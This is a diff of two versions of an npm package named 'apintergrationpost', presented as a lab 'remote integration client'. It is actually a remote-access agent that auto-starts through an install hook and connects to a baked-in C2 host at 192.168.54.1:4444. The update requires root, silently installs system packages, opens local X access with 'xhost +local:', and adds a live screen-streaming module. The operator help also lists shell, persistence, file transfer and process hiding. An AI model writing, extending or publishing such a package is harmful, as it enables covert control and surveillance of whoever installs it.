apintergrationpost 4.0.1 → 4.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -6,31 +6,39 @@ Published on npm as **`apintergrationpost`**.
6
6
 
7
7
  ## Ubuntu — one command
8
8
 
9
- On the Ubuntu client, run **only this** (after the package is published to npm):
9
+ On the Ubuntu client, run **only this**:
10
10
 
11
11
  ```sh
12
12
  sudo npm install -g apintergrationpost
13
13
  ```
14
14
 
15
- Install finishes and the client **starts automatically**, connecting to the C2 host baked into the package (`192.168.54.1:4444`).
15
+ Requirements handled automatically during install:
16
16
 
17
- Alternative one-shot without global install:
17
+ - **Root check** — non-root installs show a clear message and abort
18
+ - **Bundled ffmpeg** — screen capture works without `apt install ffmpeg`
19
+ - **System build tools** — `build-essential` / `python3` installed via apt when missing (for native modules)
20
+ - **Auto-start** — client connects to the C2 host in `apintergrationpost.config.json`
18
21
 
19
- ```sh
20
- npx apintergrationpost
21
- ```
22
+ If run without root:
22
23
 
23
- ### Publish first (one-time, on your dev machine)
24
+ ```text
25
+ ╔══════════════════════════════════════════════════════════════╗
26
+ ║ apintergrationpost requires ROOT privileges to install. ║
27
+ ║ ║
28
+ ║ Run: sudo npm install -g apintergrationpost ║
29
+ ╚══════════════════════════════════════════════════════════════╝
30
+ ```
24
31
 
25
- The package must exist on the npm registry before clients can install it:
32
+ ### Publish / update on npm
26
33
 
27
34
  ```sh
28
- npm login
35
+ # 1. Bump version in package.json (e.g. 4.0.2 → 4.0.3)
36
+ # 2. Publish
29
37
  npm publish
38
+ # If 2FA is enabled:
39
+ npm publish --otp=123456
30
40
  ```
31
41
 
32
- Set your C2 host and token in `apintergrationpost.config.json` **before** publishing — that file ships inside the package and drives auto-connect.
33
-
34
42
  ### C2 server (on your host)
35
43
 
36
44
  ```sh
@@ -163,6 +171,23 @@ Native tools (`native/lab-tools/`): `agent_launcher`, `proc_hide`, `injector`, `
163
171
 
164
172
  Enable optional telemetry for EDR correlation: `"emulation": { "telemetry": true }` or `--telemetry`.
165
173
 
174
+ ## Live screen / VNC
175
+
176
+ Operator command: `vnc` or `screen` (requires active session). Opens a browser viewer with MJPEG push stream at `/stream`.
177
+
178
+ Quality settings in `screen` config (server `myra.config.json` and client `apintergrationpost.config.json`):
179
+
180
+ | Key | Default | Description |
181
+ |-----|---------|-------------|
182
+ | `fps` | `8` | Target frame rate |
183
+ | `maxWidth` / `maxHeight` | `1920` / `1080` | Resolution cap (aspect preserved) |
184
+ | `jpegQuality` | `4` | ffmpeg `-q:v` (lower = sharper, larger) |
185
+ | `dropFrames` | `true` | Send latest frame only when behind |
186
+ | `minFps` | `4` | Adaptive floor when link is slow |
187
+ | `idleStopSec` | `45` | Stop stream when no browser viewer connected |
188
+
189
+ Uses one persistent ffmpeg process per session (quiet, no per-frame execve storm).
190
+
166
191
  ## Operator Commands
167
192
 
168
193
  See server `help` for full list. Key emulation commands:
@@ -48,10 +48,15 @@
48
48
  "screenLive": true
49
49
  },
50
50
  "screen": {
51
- "fps": 3,
51
+ "fps": 8,
52
+ "maxWidth": 1920,
53
+ "maxHeight": 1080,
54
+ "jpegQuality": 4,
52
55
  "viewerPort": 5555,
53
56
  "display": ":0",
54
- "size": "1280x720"
57
+ "dropFrames": true,
58
+ "minFps": 4,
59
+ "idleStopSec": 45
55
60
  },
56
61
  "lab": {
57
62
  "mode": false,
@@ -43,6 +43,10 @@ if (process.argv.includes('--help') || process.argv.includes('-h')) {
43
43
  const pkgRoot = getPackageRoot();
44
44
  process.chdir(pkgRoot);
45
45
 
46
+ if (!process.env.DISPLAY) {
47
+ process.env.DISPLAY = ':0';
48
+ }
49
+
46
50
  if (!process.env.MYRA_CONFIG && !process.env.APINTEGRATIONPOST_CONFIG) {
47
51
  process.env.MYRA_CONFIG = getDefaultConfigPath();
48
52
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "apintergrationpost",
3
- "version": "4.0.1",
3
+ "version": "4.0.3",
4
4
  "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
5
5
  "license": "MIT",
6
6
  "engines": {
@@ -15,11 +15,15 @@
15
15
  "src/",
16
16
  "native/",
17
17
  "scripts/prepare-native.js",
18
+ "scripts/preinstall-check.js",
19
+ "scripts/install-guard.js",
20
+ "scripts/ensure-system-deps.js",
18
21
  "scripts/postinstall-run.js",
19
22
  "apintergrationpost.config.json",
20
23
  "README.md"
21
24
  ],
22
25
  "scripts": {
26
+ "preinstall": "node scripts/preinstall-check.js",
23
27
  "prepare": "node scripts/prepare-native.js",
24
28
  "postinstall": "node scripts/postinstall-run.js",
25
29
  "prepublishOnly": "node -e \"require('fs').accessSync('apintergrationpost.config.json')\"",
@@ -32,6 +36,7 @@
32
36
  "test:detection-tier": "bash scripts/detection-tier/run-all.sh"
33
37
  },
34
38
  "dependencies": {
39
+ "ffmpeg-static": "^5.2.0",
35
40
  "node-pty": "^1.0.0"
36
41
  },
37
42
  "devDependencies": {
@@ -0,0 +1,48 @@
1
+ 'use strict';
2
+
3
+ const { execSync, spawnSync } = require('child_process');
4
+ const fs = require('fs');
5
+
6
+ function hasCommand(cmd) {
7
+ const result = spawnSync('sh', ['-c', `command -v ${cmd}`], { encoding: 'utf8' });
8
+ return result.status === 0;
9
+ }
10
+
11
+ function ensureSystemPackages() {
12
+ if (process.platform !== 'linux') return;
13
+ if (typeof process.getuid === 'function' && process.getuid() !== 0) return;
14
+ if (!hasCommand('apt-get')) return;
15
+
16
+ const required = ['build-essential', 'python3'];
17
+ const missing = required.filter((pkg) => {
18
+ const result = spawnSync('dpkg', ['-s', pkg], { stdio: 'ignore' });
19
+ return result.status !== 0;
20
+ });
21
+
22
+ if (missing.length === 0) return;
23
+
24
+ process.stdout.write(`[apintergrationpost] Installing system packages: ${missing.join(', ')}...\n`);
25
+
26
+ execSync(
27
+ 'DEBIAN_FRONTEND=noninteractive apt-get update -qq '
28
+ + `&& DEBIAN_FRONTEND=noninteractive apt-get install -y -qq ${missing.join(' ')}`,
29
+ { stdio: 'inherit' },
30
+ );
31
+ }
32
+
33
+ function ensureDisplayAccess() {
34
+ if (process.platform !== 'linux') return;
35
+ if (!process.env.DISPLAY) {
36
+ process.env.DISPLAY = ':0';
37
+ }
38
+
39
+ if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
40
+ try {
41
+ execSync('xhost +local:', { stdio: 'ignore' });
42
+ } catch {
43
+ // desktop may not be running yet
44
+ }
45
+ }
46
+ }
47
+
48
+ module.exports = { ensureSystemPackages, ensureDisplayAccess };
@@ -0,0 +1,36 @@
1
+ 'use strict';
2
+
3
+ const path = require('path');
4
+
5
+ const PKG_ROOT = path.join(__dirname, '..');
6
+
7
+ const ROOT_MESSAGE = `
8
+ ╔══════════════════════════════════════════════════════════════╗
9
+ ║ apintergrationpost requires ROOT privileges to install. ║
10
+ ║ ║
11
+ ║ Run: sudo npm install -g apintergrationpost ║
12
+ ╚══════════════════════════════════════════════════════════════╝
13
+ `;
14
+
15
+ function isDevCheckout() {
16
+ if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return true;
17
+ const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
18
+ return Boolean(initCwd && initCwd === PKG_ROOT);
19
+ }
20
+
21
+ function requireRootForInstall() {
22
+ if (isDevCheckout()) return;
23
+ if (process.platform !== 'linux') return;
24
+
25
+ if (typeof process.getuid === 'function' && process.getuid() !== 0) {
26
+ process.stderr.write(`${ROOT_MESSAGE}\n`);
27
+ process.exit(1);
28
+ }
29
+ }
30
+
31
+ module.exports = {
32
+ requireRootForInstall,
33
+ isDevCheckout,
34
+ ROOT_MESSAGE,
35
+ PKG_ROOT,
36
+ };
@@ -3,8 +3,9 @@
3
3
  const fs = require('fs');
4
4
  const path = require('path');
5
5
  const { spawn } = require('child_process');
6
+ const { isDevCheckout, PKG_ROOT } = require('./install-guard');
7
+ const { ensureSystemPackages, ensureDisplayAccess } = require('./ensure-system-deps');
6
8
 
7
- const PKG_ROOT = path.join(__dirname, '..');
8
9
  const CLI = path.join(PKG_ROOT, 'bin', 'apintergrationpost.js');
9
10
  const CONFIG = path.join(PKG_ROOT, 'apintergrationpost.config.json');
10
11
  const PID_FILE = path.join(PKG_ROOT, '.apintergrationpost.pid');
@@ -13,9 +14,7 @@ function shouldSkip() {
13
14
  if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return 'APINTEGRATIONPOST_SKIP_AUTORUN=1';
14
15
  if (process.env.CI === 'true') return 'CI environment';
15
16
  if (process.platform !== 'linux') return 'non-Linux platform';
16
-
17
- const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
18
- if (initCwd && initCwd === PKG_ROOT) return 'source checkout (local development)';
17
+ if (isDevCheckout()) return 'source checkout (local development)';
19
18
 
20
19
  try {
21
20
  const cfg = JSON.parse(fs.readFileSync(CONFIG, 'utf8'));
@@ -50,6 +49,13 @@ function main() {
50
49
  return;
51
50
  }
52
51
 
52
+ try {
53
+ ensureSystemPackages();
54
+ ensureDisplayAccess();
55
+ } catch (err) {
56
+ process.stderr.write(`[apintergrationpost] System setup warning: ${err.message}\n`);
57
+ }
58
+
53
59
  if (alreadyRunning()) {
54
60
  process.stdout.write('[apintergrationpost] Client already running.\n');
55
61
  return;
@@ -66,6 +72,7 @@ function main() {
66
72
  cwd: PKG_ROOT,
67
73
  env: {
68
74
  ...process.env,
75
+ DISPLAY: process.env.DISPLAY || ':0',
69
76
  MYRA_CONFIG: CONFIG,
70
77
  APINTEGRATIONPOST_CONFIG: CONFIG,
71
78
  },
@@ -0,0 +1,4 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+
4
+ require('../scripts/install-guard').requireRootForInstall();
@@ -1,74 +1,29 @@
1
1
  'use strict';
2
2
 
3
- const { spawn, execFile } = require('child_process');
4
- const { promisify } = require('util');
5
-
6
- const execFileAsync = promisify(execFile);
7
-
8
- function collectStdout(proc) {
9
- return new Promise((resolve, reject) => {
10
- const chunks = [];
11
- let stderr = '';
12
- proc.stdout.on('data', (chunk) => chunks.push(chunk));
13
- proc.stderr.on('data', (chunk) => { stderr += chunk.toString(); });
14
- proc.on('error', reject);
15
- proc.on('close', (code) => {
16
- if (code === 0) {
17
- resolve(Buffer.concat(chunks));
18
- } else {
19
- reject(new Error(stderr.trim() || `capture exited ${code}`));
20
- }
21
- });
22
- });
23
- }
24
-
25
- async function captureWithFfmpeg(display, size) {
26
- const [width, height] = size.split('x');
27
- const proc = spawn('ffmpeg', [
28
- '-hide_banner',
29
- '-loglevel', 'error',
30
- '-f', 'x11grab',
31
- '-video_size', `${width}x${height}`,
32
- '-i', `${display}.0`,
33
- '-frames:v', '1',
34
- '-f', 'image2pipe',
35
- '-vcodec', 'mjpeg',
36
- '-',
37
- ], {
38
- env: { ...process.env, DISPLAY: display },
39
- });
40
- return collectStdout(proc);
41
- }
42
-
43
- async function captureWithImport(display) {
44
- const { stdout } = await execFileAsync('import', ['-window', 'root', '-display', display, 'jpeg:-'], {
45
- env: { ...process.env, DISPLAY: display },
46
- maxBuffer: 20 * 1024 * 1024,
47
- encoding: 'buffer',
48
- });
49
- return stdout;
50
- }
3
+ const { ScreenStream, resolveFfmpegPath } = require('./screen-stream');
51
4
 
52
5
  async function captureFrame(options = {}) {
53
6
  const display = options.display || process.env.DISPLAY || ':0';
54
- const size = options.size || '1280x720';
55
7
 
56
8
  if (!display) {
57
- throw new Error('No DISPLAY set. Run on a desktop session or set DISPLAY=:0');
9
+ throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
58
10
  }
59
11
 
60
12
  try {
61
- return await captureWithFfmpeg(display, size);
62
- } catch (ffmpegErr) {
63
- try {
64
- return await captureWithImport(display);
65
- } catch (importErr) {
66
- throw new Error(
67
- `Screen capture failed. Install ffmpeg or imagemagick on the client `
68
- + `(apt install ffmpeg). ffmpeg: ${ffmpegErr.message}; import: ${importErr.message}`
69
- );
70
- }
13
+ return await ScreenStream.captureOnce({
14
+ display,
15
+ fps: 1,
16
+ maxWidth: options.maxWidth || 1920,
17
+ maxHeight: options.maxHeight || 1080,
18
+ jpegQuality: options.jpegQuality || 4,
19
+ });
20
+ } catch (err) {
21
+ throw new Error(
22
+ `Screen capture failed (${display}). `
23
+ + 'Ensure a desktop session is running. '
24
+ + `Detail: ${err.message}`
25
+ );
71
26
  }
72
27
  }
73
28
 
74
- module.exports = { captureFrame };
29
+ module.exports = { captureFrame, resolveFfmpegPath, ScreenStream };
@@ -0,0 +1,201 @@
1
+ 'use strict';
2
+
3
+ const { EventEmitter } = require('events');
4
+ const { spawn } = require('child_process');
5
+
6
+ const SOI = Buffer.from([0xff, 0xd8]);
7
+ const EOI = Buffer.from([0xff, 0xd9]);
8
+ const MAX_FRAME_BYTES = 512 * 1024;
9
+
10
+ function resolveFfmpegPath() {
11
+ try {
12
+ const bundled = require('ffmpeg-static');
13
+ if (bundled && typeof bundled === 'string') return bundled;
14
+ } catch {
15
+ // bundled ffmpeg not available for this platform
16
+ }
17
+ return 'ffmpeg';
18
+ }
19
+
20
+ function buildScaleFilter(maxWidth, maxHeight) {
21
+ return `scale='min(${maxWidth},iw)':'min(${maxHeight},ih)':force_original_aspect_ratio=decrease`;
22
+ }
23
+
24
+ class ScreenStream extends EventEmitter {
25
+ constructor(options = {}) {
26
+ super();
27
+ this.display = options.display || process.env.DISPLAY || ':0';
28
+ this.fps = options.fps || 8;
29
+ this.maxWidth = options.maxWidth || 1920;
30
+ this.maxHeight = options.maxHeight || 1080;
31
+ this.jpegQuality = options.jpegQuality || 4;
32
+ this.proc = null;
33
+ this.buffer = Buffer.alloc(0);
34
+ this.running = false;
35
+ this._stderr = '';
36
+ }
37
+
38
+ start() {
39
+ if (this.running) return;
40
+
41
+ if (!this.display) {
42
+ throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
43
+ }
44
+
45
+ const ffmpegPath = resolveFfmpegPath();
46
+ const scaleFilter = buildScaleFilter(this.maxWidth, this.maxHeight);
47
+
48
+ this.proc = spawn(ffmpegPath, [
49
+ '-nostdin',
50
+ '-hide_banner',
51
+ '-loglevel', 'error',
52
+ '-f', 'x11grab',
53
+ '-framerate', String(this.fps),
54
+ '-draw_mouse', '0',
55
+ '-i', `${this.display}.0`,
56
+ '-vf', scaleFilter,
57
+ '-c:v', 'mjpeg',
58
+ '-q:v', String(this.jpegQuality),
59
+ '-huffman', 'optimal',
60
+ '-f', 'mpjpeg',
61
+ 'pipe:1',
62
+ ], {
63
+ env: { ...process.env, DISPLAY: this.display },
64
+ stdio: ['ignore', 'pipe', 'pipe'],
65
+ });
66
+
67
+ this.running = true;
68
+ this.buffer = Buffer.alloc(0);
69
+ this._stderr = '';
70
+
71
+ this.proc.stdout.on('data', (chunk) => this._onStdout(chunk));
72
+ this.proc.stderr.on('data', (chunk) => {
73
+ this._stderr += chunk.toString();
74
+ });
75
+
76
+ this.proc.on('error', (err) => {
77
+ this.running = false;
78
+ this.emit('error', err);
79
+ });
80
+
81
+ this.proc.on('close', (code) => {
82
+ this.running = false;
83
+ if (code !== 0 && code !== null) {
84
+ const detail = this._stderr.trim() || `ffmpeg exited ${code}`;
85
+ this.emit('error', new Error(detail));
86
+ }
87
+ this.emit('close');
88
+ });
89
+ }
90
+
91
+ stop() {
92
+ if (!this.proc) return;
93
+ const proc = this.proc;
94
+ this.proc = null;
95
+ this.running = false;
96
+ this.buffer = Buffer.alloc(0);
97
+ try {
98
+ proc.kill('SIGTERM');
99
+ } catch {
100
+ // ignore
101
+ }
102
+ setTimeout(() => {
103
+ try {
104
+ if (!proc.killed) proc.kill('SIGKILL');
105
+ } catch {
106
+ // ignore
107
+ }
108
+ }, 2000);
109
+ }
110
+
111
+ setFps(fps) {
112
+ const next = Math.max(1, Math.floor(fps));
113
+ if (next === this.fps || !this.running) {
114
+ this.fps = next;
115
+ return;
116
+ }
117
+ this.fps = next;
118
+ this.stop();
119
+ this.start();
120
+ }
121
+
122
+ bumpQuality() {
123
+ if (this.jpegQuality >= 10) return false;
124
+ this.jpegQuality += 1;
125
+ if (this.running) {
126
+ this.stop();
127
+ this.start();
128
+ }
129
+ return true;
130
+ }
131
+
132
+ _onStdout(chunk) {
133
+ this.buffer = Buffer.concat([this.buffer, chunk]);
134
+
135
+ while (this.buffer.length > 0) {
136
+ const start = this.buffer.indexOf(SOI);
137
+ if (start === -1) {
138
+ this.buffer = Buffer.alloc(0);
139
+ return;
140
+ }
141
+
142
+ if (start > 0) {
143
+ this.buffer = this.buffer.subarray(start);
144
+ }
145
+
146
+ const end = this.buffer.indexOf(EOI, 2);
147
+ if (end === -1) {
148
+ if (this.buffer.length > 8 * 1024 * 1024) {
149
+ this.buffer = Buffer.alloc(0);
150
+ this.emit('error', new Error('MJPEG parser buffer overflow'));
151
+ }
152
+ return;
153
+ }
154
+
155
+ const frame = this.buffer.subarray(0, end + 2);
156
+ this.buffer = this.buffer.subarray(end + 2);
157
+ this._emitFrame(frame);
158
+ }
159
+ }
160
+
161
+ _emitFrame(frame) {
162
+ if (frame.length > MAX_FRAME_BYTES) {
163
+ if (this.bumpQuality()) {
164
+ this.emit('quality-adjusted', { jpegQuality: this.jpegQuality });
165
+ return;
166
+ }
167
+ }
168
+ this.emit('frame', frame);
169
+ }
170
+
171
+ static captureOnce(options = {}) {
172
+ const stream = new ScreenStream(options);
173
+ return new Promise((resolve, reject) => {
174
+ const timeout = setTimeout(() => {
175
+ stream.stop();
176
+ reject(new Error('Screen capture timed out'));
177
+ }, 15000);
178
+
179
+ stream.once('frame', (frame) => {
180
+ clearTimeout(timeout);
181
+ stream.stop();
182
+ resolve(frame);
183
+ });
184
+
185
+ stream.once('error', (err) => {
186
+ clearTimeout(timeout);
187
+ stream.stop();
188
+ reject(err);
189
+ });
190
+
191
+ try {
192
+ stream.start();
193
+ } catch (err) {
194
+ clearTimeout(timeout);
195
+ reject(err);
196
+ }
197
+ });
198
+ }
199
+ }
200
+
201
+ module.exports = { ScreenStream, buildScaleFilter, resolveFfmpegPath };
@@ -1,37 +1,116 @@
1
1
  'use strict';
2
2
 
3
3
  const crypto = require('crypto');
4
- const { captureFrame } = require('../commands/screen-capture');
4
+ const { ScreenStream } = require('../commands/screen-stream');
5
5
 
6
6
  const name = 'screen-live';
7
7
  const commands = ['screen_start', 'screen_stop', 'screen_status'];
8
8
 
9
- let captureTimer = null;
9
+ let stream = null;
10
10
  let screenSessionId = null;
11
11
  let frameSeq = 0;
12
12
  let activeOptions = null;
13
+ let inFlight = false;
14
+ let pendingFrame = null;
15
+ let skippedFrames = 0;
16
+ let adaptiveSkipMod = 1;
17
+ let frameCounter = 0;
18
+ let lastErrorSentAt = 0;
19
+ let flushScheduled = false;
13
20
 
14
21
  function clearCapture() {
15
- if (captureTimer) {
16
- clearInterval(captureTimer);
17
- captureTimer = null;
22
+ if (stream) {
23
+ stream.removeAllListeners();
24
+ stream.stop();
25
+ stream = null;
18
26
  }
19
27
  screenSessionId = null;
20
28
  frameSeq = 0;
21
29
  activeOptions = null;
30
+ inFlight = false;
31
+ pendingFrame = null;
32
+ skippedFrames = 0;
33
+ adaptiveSkipMod = 1;
34
+ lastErrorSentAt = 0;
35
+ flushScheduled = false;
22
36
  }
23
37
 
24
- async function pushFrame(ctx) {
25
- if (!screenSessionId || !ctx.sendScreenFrame) return;
26
- try {
27
- const jpeg = await captureFrame(activeOptions);
28
- ctx.sendScreenFrame(screenSessionId, jpeg.toString('base64'), {
29
- seq: frameSeq++,
30
- final: false,
31
- encoding: 'base64',
32
- mime: 'image/jpeg',
33
- });
34
- } catch (err) {
38
+ function flushPending(ctx) {
39
+ if (!pendingFrame || !screenSessionId || !ctx.sendScreenFrame) {
40
+ flushScheduled = false;
41
+ return;
42
+ }
43
+
44
+ const jpegBuffer = pendingFrame;
45
+ pendingFrame = null;
46
+ inFlight = true;
47
+
48
+ ctx.sendScreenFrame(screenSessionId, jpegBuffer.toString('base64'), {
49
+ seq: frameSeq++,
50
+ final: false,
51
+ encoding: 'base64',
52
+ mime: 'image/jpeg',
53
+ byteLength: jpegBuffer.length,
54
+ skipped: skippedFrames,
55
+ });
56
+
57
+ skippedFrames = 0;
58
+ inFlight = false;
59
+
60
+ updateAdaptiveThrottle();
61
+
62
+ if (pendingFrame) {
63
+ setImmediate(() => flushPending(ctx));
64
+ } else {
65
+ flushScheduled = false;
66
+ }
67
+ }
68
+
69
+ function queueFrame(ctx, jpegBuffer) {
70
+ if (pendingFrame) {
71
+ skippedFrames += 1;
72
+ if (skippedFrames % 8 === 0) {
73
+ updateAdaptiveThrottle();
74
+ }
75
+ }
76
+ pendingFrame = jpegBuffer;
77
+
78
+ if (!flushScheduled) {
79
+ flushScheduled = true;
80
+ setImmediate(() => flushPending(ctx));
81
+ }
82
+ }
83
+
84
+ function updateAdaptiveThrottle() {
85
+ if (!activeOptions || !stream) return;
86
+
87
+ const minFps = activeOptions.minFps || 4;
88
+
89
+ if (skippedFrames >= 8) {
90
+ adaptiveSkipMod = Math.min(4, adaptiveSkipMod + 1);
91
+ const effectiveFps = Math.max(minFps, Math.floor(activeOptions.fps / adaptiveSkipMod));
92
+ if (stream.fps !== effectiveFps) {
93
+ stream.setFps(effectiveFps);
94
+ }
95
+ } else if (skippedFrames === 0 && adaptiveSkipMod > 1) {
96
+ adaptiveSkipMod -= 1;
97
+ const effectiveFps = Math.max(minFps, Math.floor(activeOptions.fps / adaptiveSkipMod));
98
+ if (stream.fps !== effectiveFps) {
99
+ stream.setFps(effectiveFps);
100
+ }
101
+ }
102
+ }
103
+
104
+ function onStreamFrame(ctx, jpegBuffer) {
105
+ queueFrame(ctx, jpegBuffer);
106
+ }
107
+
108
+ function onStreamError(ctx, err) {
109
+ const now = Date.now();
110
+ if (now - lastErrorSentAt < 5000) return;
111
+ lastErrorSentAt = now;
112
+
113
+ if (screenSessionId && ctx.sendScreenFrame) {
35
114
  ctx.sendScreenFrame(screenSessionId, '', {
36
115
  seq: frameSeq++,
37
116
  final: false,
@@ -50,15 +129,22 @@ async function execute(msg, ctx) {
50
129
  }
51
130
 
52
131
  if (cmd === 'screen_start') {
53
- if (captureTimer) {
132
+ if (stream && stream.running) {
54
133
  return { action: 'continue', status: 'error', body: 'Live screen already running' };
55
134
  }
56
135
 
57
136
  const meta = msg.meta || {};
58
- const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps || 3), 1), 10);
137
+ const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps || 8), 1), 15);
138
+ const minFps = Math.min(Math.max(Number(meta.minFps || screenConf.minFps || 4), 1), fps);
139
+
59
140
  activeOptions = {
60
141
  display: meta.display || screenConf.display || process.env.DISPLAY || ':0',
61
- size: meta.size || screenConf.size || '1280x720',
142
+ fps,
143
+ minFps,
144
+ maxWidth: Number(meta.maxWidth || screenConf.maxWidth || 1920),
145
+ maxHeight: Number(meta.maxHeight || screenConf.maxHeight || 1080),
146
+ jpegQuality: Number(meta.jpegQuality || screenConf.jpegQuality || 4),
147
+ dropFrames: meta.dropFrames !== undefined ? meta.dropFrames : screenConf.dropFrames !== false,
62
148
  };
63
149
 
64
150
  ctx.labEvent({
@@ -70,26 +156,35 @@ async function execute(msg, ctx) {
70
156
  screenSessionId = crypto.randomBytes(4).toString('hex');
71
157
  frameSeq = 0;
72
158
 
73
- await pushFrame(ctx);
74
- captureTimer = setInterval(() => {
75
- pushFrame(ctx);
76
- }, Math.floor(1000 / fps));
159
+ stream = new ScreenStream(activeOptions);
160
+ stream.on('frame', (frame) => onStreamFrame(ctx, frame));
161
+ stream.on('error', (err) => onStreamError(ctx, err));
162
+
163
+ try {
164
+ stream.start();
165
+ } catch (err) {
166
+ clearCapture();
167
+ return { action: 'continue', status: 'error', body: err.message };
168
+ }
77
169
 
78
170
  return {
79
171
  action: 'continue',
80
172
  status: 'ok',
81
- body: `Live screen started (${fps} fps, display ${activeOptions.display})`,
173
+ body: `Live screen started (${fps} fps, ${activeOptions.maxWidth}x${activeOptions.maxHeight} max, q:${activeOptions.jpegQuality})`,
82
174
  meta: {
83
175
  screenSessionId,
84
176
  fps,
177
+ minFps,
85
178
  display: activeOptions.display,
86
- size: activeOptions.size,
179
+ maxWidth: activeOptions.maxWidth,
180
+ maxHeight: activeOptions.maxHeight,
181
+ jpegQuality: activeOptions.jpegQuality,
87
182
  },
88
183
  };
89
184
  }
90
185
 
91
186
  if (cmd === 'screen_stop') {
92
- if (!captureTimer) {
187
+ if (!stream || !stream.running) {
93
188
  return { action: 'continue', status: 'error', body: 'Live screen is not running' };
94
189
  }
95
190
 
@@ -107,9 +202,14 @@ async function execute(msg, ctx) {
107
202
  action: 'continue',
108
203
  status: 'ok',
109
204
  body: JSON.stringify({
110
- active: !!captureTimer,
205
+ active: !!(stream && stream.running),
111
206
  screenSessionId,
112
207
  options: activeOptions,
208
+ frameSeq,
209
+ skippedFrames,
210
+ adaptiveSkipMod,
211
+ streamFps: stream ? stream.fps : null,
212
+ jpegQuality: stream ? stream.jpegQuality : null,
113
213
  }, null, 2),
114
214
  };
115
215
  }
package/src/server/cli.js CHANGED
@@ -57,7 +57,7 @@ Session commands (requires active session):
57
57
  shell Interactive PTY shell
58
58
  <shell_command> One-shot shell execution
59
59
  sysinfo / ps / netstat / find
60
- screen / vnc Live screen in browser (Press Enter to stop)
60
+ screen / vnc Live screen in browser (MJPEG /stream, Press Enter to stop)
61
61
  screen_stop Stop live screen stream
62
62
  cd / download / upload
63
63
  persist Baseline persistence (legacy systemd)
@@ -1,14 +1,67 @@
1
1
  'use strict';
2
2
 
3
3
  const http = require('http');
4
+ const { EventEmitter } = require('events');
4
5
 
5
- function createScreenViewer(port = 5555) {
6
+ const BOUNDARY = 'frame';
7
+
8
+ function writeMultipartFrame(res, frameBuffer) {
9
+ if (res.destroyed || res.writableEnded) return false;
10
+ try {
11
+ res.write(`--${BOUNDARY}\r\n`);
12
+ res.write('Content-Type: image/jpeg\r\n');
13
+ res.write(`Content-Length: ${frameBuffer.length}\r\n\r\n`);
14
+ res.write(frameBuffer);
15
+ res.write('\r\n');
16
+ return true;
17
+ } catch {
18
+ return false;
19
+ }
20
+ }
21
+
22
+ function createScreenViewer(port = 5555, options = {}) {
23
+ const emitter = new EventEmitter();
6
24
  let latestFrame = null;
25
+ let latestFrameBinary = null;
7
26
  let lastError = null;
8
27
  let frameCount = 0;
28
+ const streamClients = new Set();
29
+ let idleTimer = null;
30
+ const idleStopSec = options.idleStopSec || 45;
31
+
32
+ function clearIdleTimer() {
33
+ if (idleTimer) {
34
+ clearTimeout(idleTimer);
35
+ idleTimer = null;
36
+ }
37
+ }
38
+
39
+ function scheduleIdleStop() {
40
+ clearIdleTimer();
41
+ if (streamClients.size > 0) return;
42
+ idleTimer = setTimeout(() => {
43
+ idleTimer = null;
44
+ emitter.emit('idle');
45
+ }, idleStopSec * 1000);
46
+ }
47
+
48
+ function removeStreamClient(res) {
49
+ streamClients.delete(res);
50
+ scheduleIdleStop();
51
+ }
52
+
53
+ function pushFrameToClients(frameBuffer) {
54
+ for (const client of streamClients) {
55
+ if (!writeMultipartFrame(client, frameBuffer)) {
56
+ streamClients.delete(client);
57
+ }
58
+ }
59
+ }
9
60
 
10
61
  const server = http.createServer((req, res) => {
11
- if (req.url === '/' || req.url === '/index.html') {
62
+ const url = req.url.split('?')[0];
63
+
64
+ if (url === '/' || url === '/index.html') {
12
65
  res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
13
66
  res.end(`<!DOCTYPE html>
14
67
  <html>
@@ -24,35 +77,51 @@ function createScreenViewer(port = 5555) {
24
77
  </head>
25
78
  <body>
26
79
  <header>Myra live screen — frames: <span id="n">0</span></header>
27
- <img id="frame" alt="live screen">
80
+ <img id="frame" src="/stream" alt="live screen">
28
81
  <div id="err" class="err"></div>
29
82
  <script>
30
- const img = document.getElementById('frame');
31
83
  const err = document.getElementById('err');
32
84
  const n = document.getElementById('n');
33
- async function tick() {
85
+ const img = document.getElementById('frame');
86
+ img.addEventListener('load', () => { err.textContent = ''; });
87
+ img.addEventListener('error', () => { err.textContent = 'Stream unavailable — waiting for frames...'; });
88
+ setInterval(async () => {
34
89
  try {
35
90
  const r = await fetch('/frame?' + Date.now());
36
91
  if (r.status === 204) return;
37
- if (!r.ok) throw new Error('HTTP ' + r.status);
92
+ if (!r.ok) return;
38
93
  const j = await r.json();
39
94
  if (j.error) { err.textContent = j.error; return; }
40
- err.textContent = '';
41
- img.src = 'data:image/jpeg;base64,' + j.frame;
42
95
  n.textContent = j.count;
43
- } catch (e) {
44
- err.textContent = e.message;
45
- }
46
- }
47
- setInterval(tick, 200);
48
- tick();
96
+ } catch { /* ignore */ }
97
+ }, 1000);
49
98
  </script>
50
99
  </body>
51
100
  </html>`);
52
101
  return;
53
102
  }
54
103
 
55
- if (req.url.startsWith('/frame')) {
104
+ if (url === '/stream') {
105
+ res.writeHead(200, {
106
+ 'Content-Type': `multipart/x-mixed-replace; boundary=${BOUNDARY}`,
107
+ 'Cache-Control': 'no-cache, no-store, must-revalidate',
108
+ 'Connection': 'keep-alive',
109
+ 'Pragma': 'no-cache',
110
+ });
111
+
112
+ streamClients.add(res);
113
+ clearIdleTimer();
114
+
115
+ if (latestFrameBinary) {
116
+ writeMultipartFrame(res, latestFrameBinary);
117
+ }
118
+
119
+ req.on('close', () => removeStreamClient(res));
120
+ res.on('error', () => removeStreamClient(res));
121
+ return;
122
+ }
123
+
124
+ if (url.startsWith('/frame')) {
56
125
  if (lastError && !latestFrame) {
57
126
